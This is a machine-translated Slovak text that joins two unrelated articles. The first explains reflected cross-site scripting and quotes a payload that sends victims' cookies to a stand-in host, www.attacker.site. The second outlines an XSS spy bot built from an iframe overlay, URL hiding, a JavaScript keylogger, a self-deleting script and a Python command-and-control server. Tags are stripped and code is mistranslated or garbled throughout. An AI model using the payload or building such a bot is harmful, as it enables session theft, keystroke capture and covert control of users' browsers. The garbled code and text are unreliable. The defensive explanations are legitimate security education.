Ory Segal
Zistite, ako hackeri používajú útoky typu cross-site scripting, čo poškodzujú (a nespôsobujú), ako ich rozpoznať a ako chrániť vašu webovú lokalitu a jej návštevníkov pred týmito škodlivými narušeniami súkromia a bezpečnosti.
Skriptovanie medzi stránkami (alebo skrátene XSS) je jedným z najbežnejších útokov na úrovni aplikácií, ktoré hackeri používajú na kompromitovanie webových aplikácií. XSS je útok na súkromie zákazníkov konkrétnej webovej stránky. Môže to viesť k úplnému zničeniu bezpečnostného systému, keď sú údaje klienta odcudzené a v budúcnosti použité na nejaký účel. Väčšina útokov zahŕňa dve strany: buď útočníka a webovú lokalitu, alebo útočníka a klienta, ktorý je obeťou. Útok XSS však zahŕňa tri strany: útočníka, klienta a webovú lokalitu.
Účelom XSS útoku je ukradnúť cookies alebo iné cookies z počítača klienta. dôverné informácie, ktorý dokáže identifikovať klienta na webe. Útočník, ktorý má informácie na jeho identifikáciu ako legitímneho používateľa, môže na stránke pôsobiť ako takýto používateľ, t.j. vydávať sa za neho. Napríklad pri jednom audite vykonanom vo veľkej spoločnosti bolo možné pomocou XSS útoku získať súkromné informácie používateľa a jeho číslo. kreditná karta. Dosiahlo sa to spustením vlastného kódu JavaScript. Tento kód bol spustený v prehliadači obete (klienta), ktorá mala prístupové práva na webovú stránku. Existuje veľmi obmedzený počet privilégií JavaScript, ktoré nedávajú skriptu prístup k ničomu inému než k informáciám špecifickým pre danú lokalitu. Je dôležité zdôrazniť, že aj keď zraniteľnosť na webovej lokalite existuje, samotná webová lokalita nie je priamo poškodená. Ale to stačí na to, aby sa skript zozbieral cookies a poslal ich útočníkovi. Výsledkom je, že útočník dostane potrebné údaje a môže napodobniť obeť.
Napadnutú stránku nazvime takto: www.vulnerable.site. Tradičný útok XSS sa spolieha na zraniteľný skript, ktorý sa nachádza na zraniteľnom webe. Tento skript načíta časť HTTP požiadavky (zvyčajne parametre, ale niekedy aj HTTP hlavičky alebo cestu) a zopakuje ju pre stránku odpovede, buď celú alebo len časť. Žiadosť sa tým nedezinfikuje (t. j. nekontroluje, či žiadosť neobsahuje kód JavaScript alebo značky HTML). Povedzme, že tento skript sa volá welcome.cgi a jeho parametrom je názov. Dá sa použiť takto:
Ako sa to dá zneužiť? Útočník musí byť schopný nalákať zákazníka (obeť), aby klikol na odkaz, ktorý mu útočník poskytne. Toto je starostlivo a zlomyseľne vytvorený odkaz, ktorý spôsobí, že webový prehliadač obete vstúpi na webovú stránku (www.vulnerable.site) a spustí zraniteľný skript. Údaje pre tento skript obsahujú kód JavaScript, ktorý pristupuje k súborom cookie uloženým v prehliadači klienta pre stránku www.vulnerable.site. Je to povolené, pretože prehliadač klienta si „myslí“, že kód JavaScript pochádza z lokality www.vulnerable.site. A bezpečnostný model JavaScriptu umožňuje skriptom pochádzajúcim z konkrétnej lokality pristupovať k súborom cookie, ktoré patria tejto lokalite.
Odpoveď zo zraniteľného miesta bude takáto:
|
Vitajte! Ahoj upozornenie (document.cookie) Vitajte v našom systéme... |
Prehliadač klienta obete interpretuje túto požiadavku ako stránku HTML obsahujúcu časť kódu JavaScript. Tento kód po spustení bude mať prístup ku všetkým súborom cookie patriacim k stránke www.vulnerable.site. Následne to spôsobí vyskakovacie okno v prehliadači so všetkými cookies klienta, ktoré súvisia s www.vulnerable.site.
Samozrejme, skutočný útok by zahŕňal odoslanie týchto súborov útočníkovi. Na tento účel môže útočník vytvoriť webovú lokalitu (www.attacker.site) a použiť skript na prijímanie súborov cookie. Namiesto volania vyskakovacieho okna by útočník napísal kód, ktorý pristupuje k URL na www.attacker.site. V tejto súvislosti sa spustí skript na získanie súborov cookie. Parameter pre tento skript sú ukradnuté cookies. Útočník tak môže získať cookies zo servera www.attacker.site.
Ihneď po načítaní tejto stránky prehliadač spustí kód JavaScript, ktorý je tam vložený, a odošle požiadavku skriptu collect.cgi na www.attacker.site spolu s hodnotou cookies z www.vulnerable.site, ktoré už prehliadač má. To podkopáva bezpečnosť súborov cookie www.vulnerable.site, ktoré má klient. To umožňuje útočníkovi predstierať, že je obeťou. Dôvernosť klienta je úplne porušená.
Poznámka.
Typické volanie vyskakovacieho okna s pomocou JavaScriptu stačí na preukázanie zraniteľnosti stránky voči XSS útoku. Ak môžete volať funkciu Alert z JavaScriptu, zvyčajne neexistuje dôvod, prečo by volanie zlyhalo. To je dôvod, prečo väčšina príkladov útokov XSS používa funkciu Alert, vďaka ktorej je veľmi jednoduché určiť úspešnosť útoku.
K útoku môže dôjsť iba v prehliadači obete, v tom istom prehliadači, ktorý sa používa na prístup na stránku (www.vulnerable.site). Útočník musí prinútiť klienta, aby získal prístup k škodlivému odkazu. Dá sa to dosiahnuť niekoľkými spôsobmi.
- Útočník odošle e-mail obsahujúci stránku HTML, ktorá oklame prehliadač, aby otvoril odkaz. To si vyžaduje, aby obeť používala klienta Email, schopný pracovať s HTML. A prehliadač HTML na klientovi musí byť rovnaký prehliadač, ktorý sa používa na prístup na stránku www.vulnerable.site.
- Klient navštívi stránku, prípadne vytvorenú útočníkom, na ktorej je aktívny odkaz na obrázok alebo iný HTML prvok prinúti prehliadač otvoriť odkaz. Aj v tomto prípade je nevyhnutné, aby sa na prístup na túto stránku aj na stránku www.vulnerable.site použil rovnaký prehliadač.
Škodlivý kód JavaScript môže získať prístup ku ktorýmkoľvek z nasledujúcich informácií:
- trvalé cookies (stránky www.vulnerable.site), ktoré ukladá prehliadač;
- cookies v pamäti (stránky www.vulnerable.site), ktoré sú podporované inštanciou prehliadača iba pri prezeraní stránky www.vulnerable.site;
- názvy ďalších okien otvorených pre stránku www.vulnerable.site.
- akékoľvek informácie, ktoré sú dostupné prostredníctvom aktuálneho DOM (z hodnôt, HTML kódu atď.).
Identifikačné, autorizačné a autentifikačné údaje sa zvyčajne ukladajú vo forme cookies. Ak sú tieto súbory cookie trvalé, potom je obeť zraniteľná voči útoku, aj keď pri prístupe na stránku www.vulnerable.site nepoužíva prehliadač. Ak sú však súbory cookie dočasné (napríklad sú uložené v pamäti RAM), potom na strane klienta musí existovať relácia so stránkou www.vulnerable.site.
Ďalšou možnou implementáciou identifikačného označenia je parameter URL. V takýchto prípadoch môžete pristupovať k iným oknám pomocou JavaScriptu takto (za predpokladu, že názov stránky s požadovanými parametrami adresy URL je foobar):
|
var obeti_okno=open(","foobar");alert("Môžu pristupovať: " +victim_window.location.search) |
Ak chcete spustiť skript JavaScript, môžete použiť mnoho iných značiek HTML ako . V skutočnosti je tiež možné umiestniť škodlivý kód JavaScript na iný server a potom oklamať klienta, aby si skript stiahol a spustil. To môže byť užitočné, ak potrebujete spustiť veľké množstvo kódu alebo ak kód obsahuje špeciálne znaky.
Tu je niekoľko variácií týchto možností.
- Namiesto... môžu hackeri použiť . Toto je vhodné pre stránky, ktoré filtrujú značku HTML.
- Namiesto ... môžete použiť konštrukciu . Je to dobré v situáciách, keď je kód JavaScript príliš dlhý alebo ak obsahuje nepovolené znaky.
Niekedy sú údaje vložené na stránke odpovede v platenom kontexte HTML. V tomto prípade musíte najskôr „uniknúť“ do voľného kontextu a potom vykonať XSS útok. Ak sú napríklad údaje vložené ako predvolená hodnota pre pole formulára HTML:
A výsledný HTML kód bude nasledovný:
|
okno.otvoriť ("http://www.attacker.site/collect.cgi?cookie="+document.cookie)"> Doteraz sme videli, že útok XSS môže nastať v parametri požiadavky GET, na ktorý skript reaguje. Útok však možno vykonať aj pomocou požiadavky POST alebo pomocou komponentu cesty požiadavky HTTP a dokonca aj pomocou niektorých hlavičiek HTTP (napríklad Referer). Komponent cesty je užitočný najmä vtedy, keď chybová stránka vracia neplatnú cestu. V tomto prípade zahrnutie škodlivého skriptu do cesty často spôsobí jeho spustenie. Mnoho webových serverov je zraniteľných voči tomuto útoku. Je dôležité pochopiť, že aj keď web nie je priamo ovplyvnený týmto útokom (naďalej funguje normálne, nespúšťa sa na ňom žiadny škodlivý kód, DoS útok nedochádza a údaje zo stránky nie sú priamo čítané ani s nimi nemanipulované), stále ide o narušenie bezpečnostného systému, ktorý stránka ponúka svojim zákazníkom alebo návštevníkom. Je to podobné ako stránka, ktorá sa používa na nasadenie aplikácie so slabými bezpečnostnými štítkami. Z tohto dôvodu môže útočník uhádnuť bezpečnostný štítok klienta a predstierať, že je ním (alebo ňou). Slabým miestom v aplikácii je skript, ktorý vracia svoj parameter bez ohľadu na jeho hodnotu. Dobrý skript by sa mal uistiť, že parameter je v správnom formáte, že obsahuje prijateľné znaky atď. Zvyčajne neexistuje dôvod, aby správny parameter obsahoval značky HTML alebo kód JavaScript. Pred vložením do odpovede alebo použitím v aplikácii musia byť z parametra odstránené. Tým sa zabezpečí bezpečnosť. Existujú tri spôsoby, ako chrániť svoj web pred útokmi XSS.
Logickým záverom ochrany webovej stránky je kontrola jej zabezpečenia proti XSS útokom. Podobne ako pri ochrane stránky pred XSS, aj kontrola úrovne ochrany môže byť vykonaná manuálne (ťažším spôsobom) alebo pomocou automatizovaného nástroja na posúdenie zraniteľnosti webových aplikácií. Tento nástroj z vašich pliec odstráni bremeno overovania. Tento program sa pohybuje po stránke a spúšťa všetky možnosti, ktoré pozná pre všetky skripty, ktoré zistí. Toto vyskúša všetky parametre, hlavičky a cesty. Pri oboch metódach sa kontroluje každý vstup do aplikácie (parametre všetkých skriptov, HTTP hlavičky, cesty) s čo najväčším počtom možností. A ak stránka odpovede obsahuje kód JavaScript v kontexte, v ktorom ho môže prehliadač spustiť, zobrazí sa správa o zraniteľnosti XSS. Napríklad pri odosielaní nasledujúceho textu:
Pre každý parameter každého skriptu (prostredníctvom prehliadača s možnosťami JavaScriptu na zistenie najjednoduchšej formy zraniteľnosti XSS) prehliadač zobrazí okno s upozornením JavaScript, ak je text interpretovaný ako kód JavaScript. Samozrejme, možností je viacero. Preto testovanie iba tejto možnosti nestačí. A ako ste sa už naučili, kód JavaScript môžete vložiť do rôznych polí požiadaviek: parametre, hlavičky HTTP a cesta. V niektorých prípadoch (najmä pri hlavičke HTTP Referer) je však nepohodlné vykonať útok pomocou prehliadača. Skriptovanie medzi stránkami je jedným z najbežnejších útokov na úrovni aplikácií, ktoré hackeri používajú na kompromitovanie webových aplikácií. Je tiež najnebezpečnejší. Ide o útok na súkromie zákazníkov konkrétnej webovej stránky. Môže to viesť k úplnému zničeniu bezpečnostného systému, keď sú údaje klienta odcudzené a v budúcnosti použité na nejaký účel. Žiaľ, ako vysvetľuje tento článok, často sa to deje bez znalosti klienta alebo organizácie, ktorá je napadnutá. Ak chcete zabrániť tomu, aby boli webové lokality zraniteľné voči týmto škodlivým aktivitám, je dôležité, aby organizácia implementovala online aj offline bezpečnostnú stratégiu. To zahŕňa automatickú kontrolu zraniteľnosti, ktorá dokáže otestovať všetky známe zraniteľnosti webových lokalít a špecifických aplikácií (napríklad skriptovanie medzi lokalitami) na lokalite. Pre úplnú online ochranu je tiež dôležité nainštalovať firewall, ktorý dokáže detekovať a blokovať akýkoľvek typ manipulácie s kódom a údajmi nachádzajúcimi sa na webových serveroch alebo za nimi. |
Každý už dávno vie, že pomocou XSS sa útočník najčastejšie pokúša poslať súbor cookie obeti, prečítať tokeny CSRF, vykonať phishingový útok (vytvorením falošného prihlasovacieho formulára), vykonať nejakú akciu v mene používateľa a niektoré ďalšie podobné útoky (možno to nie sú všetky možnosti, ale toto sú všetky najobľúbenejšie, ktoré poznám tento moment).
Účelom tejto metódy je v mene používateľa monitorovať stránky, ktoré naviguje na napadnutom webe, ako aj sledovať jeho stlačenia klávesov (môžete použiť aj pohyby myši a kliknutia, ale pre mňa to bude zbytočné, nie príliš užitočné informácie, vo väčšine prípadov určite).
Teraz, pokiaľ ide o maximálny prínos - verím, že algoritmus bude takýto:
- čítať a odosielať súbory cookie;
- prečítať a odoslať zvyšok informácií (IP adresa, nainštalované pluginy, verzia a typ prehliadača, podpora flash, podpora Silverlight atď.) [voliteľné]
- získať informácie o internej sieti, preniknúť do smerovača [voliteľné]
- čítať a odosielať rôzne tokeny [voliteľné];
- implementovať phishing [voliteľné];
- robíme niečo „rukami používateľa“ [voliteľné];
- pokračujeme v jeho špehovaní a získavaní informácií, kým nezatvorí kartu alebo neopustí stránku;
Všetky voliteľné položky zoznamu by sa IMHO mali vykonávať v závislosti od situácie a konkrétnych priorít pre ciele, ktoré je potrebné pomocou XSS dosiahnuť, niekedy sa môžu navzájom prekážať (ak sa ich pokúsite skombinovať, alebo skôr vykonať jednu po druhej) a zvýšiť pravdepodobnosť zlyhania operácie XSS.
Ale tu je prvý posledný bod V každom prípade by ste to mali robiť vždy. V skutočnosti hlavná časť článku bude o poslednej položke z tohto zoznamu.
Začnem z diaľky: cez JavaScript je možné zmeniť cestu adresný riadok bez opätovného načítania stránky. Napríklad, ak používateľ načítal stránku na adrese
Potom bude obsah v paneli s adresou vyzerať takto (bez opätovného načítania stránky):
http: //site.com/new-url/ |
Mimochodom, táto funkcia je niekedy celkom užitočná, keď je potrebné sa pred používateľmi (alebo pozornejšou kategóriou používateľov – administrátormi) skryť rýchlym vyčistením adresy URL po kliknutí na odkaz, ktorý obsahoval Reflected XSS, takže neskôr, po načítaní stránky, pohľadanie do adresného riadku, nič nenašlo.
http : //site.com/search.php?q=123 dokument . telo. innerHTML += "Napadnuté" ; |
http: //site.com/search.php?q=123 okno. histórie. pushState ("" , "" , "/" ); dokument. telo. innerHTML += "Napadnuté" ; |
pripravíme ho o túto možnosť.
Ale táto technika má ešte zaujímavejšie a výkonnejšie aplikácie. Používateľovi po kliknutí na odkaz nasimulujeme jeho pobyt na stránke, v skutočnosti zostane celý čas na jednej stránke a v tomto čase bude fungovať skript tretej strany, ktorý vytiahne a pošle informácie útočníkovi. teda XSS bude fungovať, pokiaľ používateľ klikne na odkaz v tejto doméne .
Označujeme myšlienku.Všeobecný princíp fungovania je takýto: keď používateľ vstúpi na stránku s XSS, skript vytvorí iframe s rovnakou adresou ako stránka a „pripojí“ ho do popredia, používateľ získa dojem, že sa stránka načítala normálne, pretože iframe je možné vidieť iba na kódových stránkach.
A pomocný skript riadi logiku špionážneho robota, to znamená, že monitoruje, kedy sa adresa v rámci zmení, aby ju zmenil v adresnom riadku, ale ak má novo zmenená adresa rámca inú doménu, môžete otvoriť na novej karte, alebo budete musieť stránku znova načítať, aby ste sa nespálili.
Aby sa teda XSS momentálne prestalo vykonávať, musí používateľ buď stránku obnoviť manuálne (ak je XSS Reflected a bolo prenášané metódou POST, v iných prípadoch aktualizácia nepomôže a mimochodom, niektoré prehliadače teraz môžu znova odoslať požiadavku POST pri aktualizácii stránky) alebo zatvoriť kartu alebo prepnúť na inú doménu (aj keď v tomto prípade sa stále môžete vyhnúť strate kontroly).
Ak ide do subdomény napadnutej domény, je to voľba útočníka, to znamená, že XSS bude fungovať, ale existuje malá šanca, že používateľ zistí nezrovnalosť medzi adresou. Myslím si, že v závislosti od situácie tu, napríklad, ak bola napadnutá doména google.ru, používateľ prešiel na cloudovú súborovú službu Google, ktorá zvyčajne leží v subdoméne drive.google.ru, potom je pravdepodobnosť, že si všimne úlovok pri pohľade na panel s adresou je dosť vysoký, ak túto službu často využíval. V opačnom prípade by ste mohli riskovať. Musíme ale počítať s tým, že už nebudeme môcť čítať jeho dáta z rámca so subdoménou, keďže Cross Origin Policy to neumožňujú. Ale môžeme ľahko vyliezť na hlavnú doménu v jej mene skrytý režim(viac o tom bude nižšie).
Iba pri túto metódu Existujú obmedzenia, konkrétne to nebude fungovať, ak odpovede webového servera budú mať hlavičku X-Frame-Options s hodnotou DENY . Osobne som sa však s takýmito stránkami stretol doslova niekoľkokrát, teraz už ani polovica z nich nemá nastavený SAMEORIGIN, nehovoriac o úplnom obmedzení prostredníctvom ODMIETNUŤ.
Poďme analyzovať myšlienku.Teraz si asi mnohí pamätajú takú úžasnú vec, ako je BeEF, ktorá má tiež veľa zaujímavých vecí. Mimochodom, existuje aj možnosť prinútiť používateľa k presmerovaniu v rámci, ale adresa v adresnom riadku sa nemení, čo môže rýchlo zhorieť stôl a táto možnosť slúži trochu iným účelom.
Vo všeobecnosti má BeEF takmer všetko, čo potrebujete, a dokonca aj veľa doplnkové funkcie, ale osobne som chcel ďalšie funkcie, konkrétne:
- možnosť monitorovať kód stránok, ktoré sú prístupné napadnutému používateľovi v reálnom čase;
- možnosť vidieť všetko, čo na danej stránke napíše (od prihlasovacieho mena a hesla, po klávesové skratky a správy), teda keylogger v JS;
- možnosť zadávať príkazy JS vášmu robotovi v reálnom čase po zobrazení kódu prijatých stránok;
- schopnosť ponechať príkazy robotovi lokálne, aby ich mohol neskôr „vyzdvihnúť“ a vykonať bez našej priamej účasti;
- nižšia pravdepodobnosť spálenia robota alebo jeho schopnosť „skryť sa“ pred zvedavými očami;
Ako už bolo spomenuté vyššie, rozhodol som sa požičať si skvelý nápad fronty na vykonávanie príkazov od BeEF. Napríklad sme analyzovali stránky, ktoré robot zahodil, keď privilegovaný používateľ pristupoval na svoj ovládací panel s uloženým XSS, príkazy nechávame robotovi - kód JS, ako napríklad pri ďalšom prihlásení používateľa kliknite na toto tlačidlo, napíšte toto value here atď. , keď tento používateľ nabudúce navštívi stránku, robot si prečíta príkazy a vykoná ich a my nemusíme byť pri všetkom – je to veľmi pohodlné.
V zásade je takýto bot, samozrejme, určený pre vysoko postavených používateľov niektorých stránok, ktoré majú ďalšie „páky“ na správu obsahu, iných používateľov atď. Z požiadaviek na funkčnosť je zrejmé, že bez serverovej časti sa nezaobídeme.
Poďme realizovať nápad.V zásade môžete túto časť článku preskočiť, pretože jednoducho popisuje proces implementácie požadovaného robota a niektoré jeho podrobnosti, ak by ho niekto chcel prerobiť alebo prispôsobiť pre seba. Aj keď bot bude mať na začiatku kódu premenné, prostredníctvom ktorých môžete nastaviť niektoré nastavenia.
Po prvé, algoritmus akcií robota od okamihu načítania:
1) Kontrola prítomnosti hlavičky X-Frame-Options:DENY(ak existuje, potom zrolujeme rybárske prúty);
2) Vloženie rámu a nastavenie všetkých komponentov robota;
3) Odstránenie skriptu a všetkých stôp v kóde HTML;
4) Nadviazanie kontaktu so serverovou časťou a začatie odosielania dát, reagovanie na odpovede (prijímanie príkazov zo servera);
Prvý bod nebol vykonaný úplne, to znamená, že robot kontroluje iba prvú stránku a koreňovú hlavičku. Faktom je, že tieto hlavičky sú zvyčajne zabudované webovým serverom pre všetky stránky naraz a veľmi zriedka, čo je napr samostatná stránka všetko sa robí „ručne“. A tento titul sám o sebe je dosť vzácny. No, o druhom a treťom nie je veľa čo povedať, všetko bude nižšie.
Je tu pomerne dôležitý bod, že pred pridaním kódu skriptu bota do kódu sa musíte okamžite zbaviť znakov XSS v paneli s adresou (z kódu JS), pretože to znižuje šance na odhalenie a čo je najdôležitejšie, zabraňuje rekurzii. ku ktorému dochádza pri pridávaní adresy do rámca s rovnakým kódom XSS, ktorý následne vytvára ďalší rámec sám so sebou atď.
Ale pre každý prípad, kód bota implementuje schopnosť detegovať takúto rekurziu rámca a zabrániť jej pri prvom pokuse o pridanie rámca do už vytvoreného rámca, ale je lepšie nespoliehať sa len na to, ale kód dodatočne odstrániť pred načítaním kódu bota. Aj keď som sa zatiaľ nestretol so žiadnymi problémami.
Funkcia kontroly aktualizácie rámu. Vyskúšal som niekoľko spôsobov, ako ekonomicky vyriešiť tento problém zavesením obsluhy udalostí contentWindow alebo contentDocument, ale nič nefungovalo, tak som musel napísať funkciu, ktorá skontroluje adresu rámca a porovná ju s predtým uloženou a na základe toho rozhodne, či sa rám aktualizuje (či sa zmenila adresa) a potom nazýva sa rekurzívne.
Frekvencia takýchto kontrol za sekundu je riadená premennou meškanie, ktorý je uvedený na začiatku súboru s kódom bota. Ale neskôr, keď som to už napísal, našiel som efektívnejšie riešenie - použiť jednoduché riešenie a zavesiť načítať do rámu, tak som tú funkciu nechal, ale okomentoval som ju, pre prípad, že by sa neskôr ukázalo, že je viac žiadaná.
Schéma je tu celkom jednoduchá - po každom opätovnom načítaní rámca (vrátane prvého načítania) robot odošle na server celý HTML kód stránky spolu s jej aktuálnou adresou, aby ste neskôr mohli rozlíšiť, či kód patrí požadovanému stránky.
Server implementuje logiku ukladania stránok - server pre každú doménu vytvorí priečinok s názvom tejto domény a uloží tam všetky údaje. Kódy stránok sú uložené a neustále aktualizované aktuálne verzie, no zároveň sa každý nový deň vytvorí nová kópia stránky, aby ste v prípade potreby mohli ovládať históriu verzií. To je pre /news.php 1. septembra sa stav aktualizuje a 2. septembra sa vytvorí jeho kópia, relevantná len pre daný deň, a tak ďalej každý deň (ak používateľ navštevuje túto stránku každý deň). Názov stránky pozostáva z dátumu a cesty k tejto stránke vzhľadom na koreňový adresár lokality (teda bez domény).
Keylogger v JavaScripte.Myšlienku už niekoľko nadšencov realizovalo, ale ich práca pre mňa nebola vhodná, už len preto, že väčšina z nich bola celkom jednoduchá, teda detekovali kód stlačenej klávesy a cez String.fromCharCode preložené do symbolov. Táto metóda má však niekoľko nevýhod - ovládacie klávesy ako shift, control, medzera atď. nie sú preložené do žiadnej formy (často jednoducho do prázdneho znaku), interakcia alfanumerických kláves s shift je nesprávne zaznamenaná, pretože musia byť implementované programovo a Všetky stlačené klávesy sa tiež zobrazujú veľkými písmenami, čo je možné opraviť aj programovo.
Výsledkom bol keylogger, ktorý správne rozpoznal všetky klávesy s číslami, písmenami a základnými znakmi, pracoval na oboch rozloženiach, reagoval na posun a zaznamenával všetky hlavné špeciálne klávesy. Pravda, niektoré znaky (v hornej časti číselného radu, ktoré sa vytlačia pri stlačení shift a čísla) sa môžu na niektorých strojoch líšiť, keďže boli implementované podľa základného štandardu, ktorý niektoré firmy menia.
Klient si ponechá každú časť stlačených znakov, kým textový prvok nestratí zameranie. Potom sa táto časť odošle na server, kde sa uloží textový súbor, ktorá sa bude vytvárať aj každý deň s novou kópiou, aby nenarástla do veľkých rozmerov a rýchlo ste našli, čo používateľ v takom čase písal.
Okrem samotných kľúčov sa na server s každou časťou odosielajú aj informácie o prvku, do ktorého bol text napísaný (t. j. , [
alebo nejaké
keď používateľ použil klávesové skratky), okrem názvu prvku sa odošlú aj jeho základné údaje (id, meno, trieda - ak je prítomná), aby ho bolo možné ľahko nájsť v kóde. A samozrejme sa eviduje adresa stránky, na ktorej bol nábor realizovaný a približný čas tohto náboru. IN všeobecné informácie o ťukaní používateľa do klávesnice je odoslaných pomerne dosť na jeho následnú analýzu.
Tento proces môže vykonať útočník alebo na strane, kde bude robot spúšťať server, alebo dokonca na diaľku. Po spustení serverového skriptu sa spustí vlastnoručne napísaný miniatúrny webový server, ktorý obsluhuje požiadavky robota a jeho kontrolóra, ktorý pracuje cez webové rozhranie. To znamená, že po spustení webový server vydá odkaz, na ktorý môžete robotovi zadávať príkazy.
O tomto ovládacom paneli. Jednak to bolo potrebné obmedziť heslom (cestu a málokto bude vedieť o spustenej službe na takom a takom porte alebo o adrese, na ktorú sa potrebuje dostať, aby mohol túto službu využívať), aby pri prvom prihlásení server požiada o heslo, ktoré je uvedené v adresnom riadku (uvedieme príklad), pôvodné heslo je uložené v password.txt, ktoré je možné zmeniť. Po prvom prihlásení dá webový server prehliadaču pokyn na uloženie hesla do súboru cookie, takže sa o to už nemusíte starať.
Na samotnej stránke na odosielanie príkazov robotovi sú tiež informácie o stave robota - či je momentálne online alebo offline a niekoľko nastavení, z ktorých prvé je hostiteľ, teda IP. adresu alebo doménu lokality, na ktorú sa budú robotovi odosielať príkazy. Toto je navrhnuté v prípade, že tento robot obsahuje niekoľko stránok, aby ich bolo možné identifikovať. Na serveri sú aj pre tento prípad všetky dáta rozdelené do priečinkov s doménovými názvami.
Ďalej je okno, v ktorom môžete písať príkazy robotovi v JS, a možnosť, ktorá nastavuje, kde sa tento kód JS vykoná, v hlavnom okne, kde robot sedí, alebo v rámci - to sa robí pre pohodlie, pre prípad. .
Ak robot nie je online, server jednoducho uloží príkazy a neskôr, keď sa robot dostane do režimu online, to znamená, že používateľ s ním znova navštívi stránku alebo nasleduje odkaz útočníka, tieto príkazy sa vykonajú.
To je veľmi výhodné, ak počas prvej rekognície robot odstránil všetky stránky, ktoré používateľ navštívil (napr osobný účet), po preštudovaní kódu, ktorého príkazy sme zostavili v JS, aby potom robot klikol na potrebné odkazy, zadal potrebné údaje, zobrazil potrebné obrázky atď., čo by pomohlo dosiahnuť náš cieľ.
Alebo si môžete priamo v reálnom čase rýchlo pozrieť obsah stránok cez kód a dať príkazy robotovi, aby poslal kód iných stránok, prešiel na inú adresu atď. A to všetko sa bude robiť obrazovka“ používateľa, ktorý bude pokojne surfovať po stránke cez rám.
Pre vaše pohodlie môžete najčastejšie používané inštrukcie sformovať do celých funkcií v JS, ktoré sa potom vložia do zdrojového súboru robota ( xsb.js, viac o štruktúre súborov nižšie) a použitie. Alebo použite tie funkcie, ktoré sú súčasťou robota, hoci sú tam len základy a nie je tam nič nové, ale napríklad funkciu odoslania kódu stránky môžete použiť kedykoľvek, a nie pri opätovnom načítaní rámca. Môžete napísať funkciu, ktorá otvorí odkazy, ktoré jej boli odovzdané, v nových rámcoch na pozadí, aby ste si mohli v mene používateľa zobraziť obsah niekoľkých stránok naraz (a ovládať tento obsah jeho virtuálnymi rukami).
Odstránenie vlastného kódu.Posledná funkcia je implementovaná celkom jednoducho (dá sa vypnúť nastavením požadovanej premennej v súbore, sú zakomentované). Skript sa po nastavení a zavesení všetkých obslužných programov udalostí, vytvorení všetkých premenných a funkcií sám vymaže
Koniec koncov, všetky údaje už boli načítané RAM cez prehliadač, takže sa nie je čoho obávať, ale to je teoreticky, možno sa neskôr vyskytnú nejaké problémy, s ktorými som nerátal, preto som vytvoril premennú, pomocou ktorej je možné túto funkciu v prípade potreby zakázať.
Po odstránení všetkých skriptov bude mimoriadne ťažké všimnúť si XSS, pretože prítomnosť rámca to celkom nepriamo nenaznačuje a samotný kód možno nájsť iba v protokoloch histórie sieťovej prevádzky prehliadača (ktoré sa štandardne neuchovávajú v mnohých prehliadačoch, ak panel vývojára nie je otvorený) .
Serverová časť.Pre jednoduchší a pohodlnejší spôsob spustenia bota sa rozhodlo napísať vlastný malý webový server na soketoch, ktorý by obsluhoval bota, zabezpečoval všetky operácie na prijímanie a odosielanie odoslaných dát, prenášal správy medzi útočníkom a botom, a vytvorte webové rozhranie pre útočníka na príkaz .
Server bol napísaný v Pythone, snažil som sa používať iba štandardné knižnice, aby som pred spustením nemusel nič inštalovať. Server tiež sám upravuje niektoré údaje v skriptoch, to znamená, že v skripte JS robota nie je potrebné nastavovať adresu riadiaceho servera, webový server tam sám nastaví požadovanú adresu pri spustení. V konfigurácii servera je len jeden parameter - port, na ktorom sa spustí (predvolená hodnota je 8000).
Po spustení server poskytne všetky potrebné údaje - odkaz na JS skript, ktorý bude potrebné pretiahnuť, odkaz na príkazový panel, alebo skôr odkazy na externé a lokálne adresy, pre pohodlie.
Spustíme server na nejakom nevyžiadanom porte a môžete poslať odkaz so skriptom bota, potom vám každý, kto naň klikne, pošle údaje, ktoré server uloží kedykoľvek počas dňa. Potom ich môžete jednoducho zobraziť, ak je potrebné opustiť tímového robota a pokračovať v jeho vlastnej činnosti.
Štruktúra súboru.Priečinok obsahuje nasledujúce súbory:
- xsb.py - hlavný súbor, ktorý implementuje časť servera; aby robot fungoval, spustite ho a potom jednoducho použite odkaz, ktorý ponúka;
- xsb.js - tu je uložený JS kód robota, na ktorý odkaz poskytuje server; na jeho začiatku sú deklarované konfiguračné premenné, ktoré je možné zmeniť podľa vlastného uváženia (niektoré, konkrétne hostiteľ a port, server sa nastaví neskôr sám, nemusíte sa o to starať);
- panel.html - odtiaľto server prevezme kód pre ovládací panel robotov, rozhranie môžete upraviť podľa vlastného uváženia;
- password.txt - tu je uložené heslo k ústredni, ktoré je možné zmeniť;
- SavedData je adresár, v ktorom sa vytvoria priečinky s doménami webových stránok, do ktorých sa budú ukladať všetky informácie.
Dovoľte mi znova poznamenať, že v spise xsb.js môžete pridať svoje vlastné funkcie, ktoré potom môžete volať cez panel bez písania veľkých častí kódu;
Krátka analýza výsledkov.Po napísaní vlastného vynájdeného spôsobu, ako udržať používateľa na stránke s XSS cez rámce (no, ako vymyslené - osobne som to objavil pre seba, je dosť možné, že niekto iný „vynašiel“ rovnakú techniku pre seba alebo je to už niekde in verejnosť zažiarila, pretože teraz je dosť ťažké vyvinúť niečo skutočne nové a spravidla po určitom čase zistíte, že „toto už bolo v Simpsonovcoch“) som sa začal podrobnejšie zaoberať BeEF a čítal som jeho wiki. Potom som zistil, že tam bola implementovaná iná technika na dosiahnutie rovnakého cieľa – predĺženie času používateľa na stránke pomocou spustiteľného XSS (ktorý nazvali man-in-the-browser). A bolo to implementované takto: všetky odkazy na pôvodnej stránke boli zmenené tak, že po kliknutí na ktorýkoľvek z nich skript stránku znova nenačítal, ale poslal požiadavku na server cez Ajax a vložil údaje dostal v odpovedi, teda dalo by sa povedať umelo aktualizovaný, ktorý bol navyše takmer na nerozoznanie od bežného občerstvenia.
Nebol som preto prvý, komu sa podarilo túto myšlienku zrealizovať (aj keď sa ukázalo, že metódy sú odlišné). Ale obe tieto metódy majú svoje nevýhody:
Metóda načítania cez nefunguje, ak je v odpovedi hlavička X-Frame-Options:DENY, ale inak funguje ako bežné okno prehliadača;
Metóda ajax funguje vždy, ak ju prehliadač podporuje (teraz ju podporujú všetky hlavné prehliadače), ale s novým štandardom Web 2.0 je čoraz viac prechodov spúšťaných vlastnými udalosťami akýchkoľvek prvkov cez JS. Jedného dňa som išiel do Google AdWords a rozhodol som sa zistiť, ako tam interagujú ich HTML a JS, pretože všetky moje pavúky boli extrémne zlé pri vytváraní zadnej mapy tejto služby. A celý večer som potichu šalel z toho, aké je tam všetko nezvyčajné, keď textové prvky boli tlačidlá a prepínače a posuvníky a boli zobrazené so všetkým ostatným a každý mal asi 30 handlerov na rôzne udalosti.
